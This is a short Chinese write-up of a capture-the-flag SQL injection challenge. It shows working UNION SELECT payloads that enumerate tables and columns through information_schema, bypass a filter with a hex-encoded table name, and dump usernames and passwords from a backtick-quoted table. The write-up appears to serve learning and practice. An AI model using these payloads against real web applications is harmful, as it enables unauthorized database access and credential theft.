漏洞复现
首先是用order by 判断 多少列,但是吧,好像不管order by 多少都不会报错,这个应该就是这题的过滤了吧,然后我接着就用报错注入的方式去完成了
但事实上还可以再试试直接用 union select 1,2,3,4…然后到了union select 1,2,3,4,5,6,7发现了回显且不报行数不对的错
id=-1'union select 1,2,3,4,5,6,7 --'
表
' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema =database()),4,5,6,7 --'
列,这里你去查表的时候会发现不是我们熟悉的stormgroup_member,而是第一个长相奇特的表名,大概是为了给我们增加难度的,但是反正要用ASCLL编码前面加0x来绕过
' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name =0x2840646d696e395f746434627d),4,5,6,7 --'
然后就是找值,这里要注意俩点,一个是用完整的对应7列去找数据,不然会报列数不对的错误,一个是表名要用 反单引号括起来,不然会报错,就是这个特殊表名会闭合我们的语句导致的错误
' union select 1,2,(select group_concat(username,password) from `(@dmin9_td4b}`),4,5,6,7 --'
关于反单引号的知识点【原本是拿来防止把正常的字符当成保留字符,即 别把表名为select的表当成了执行代码select 】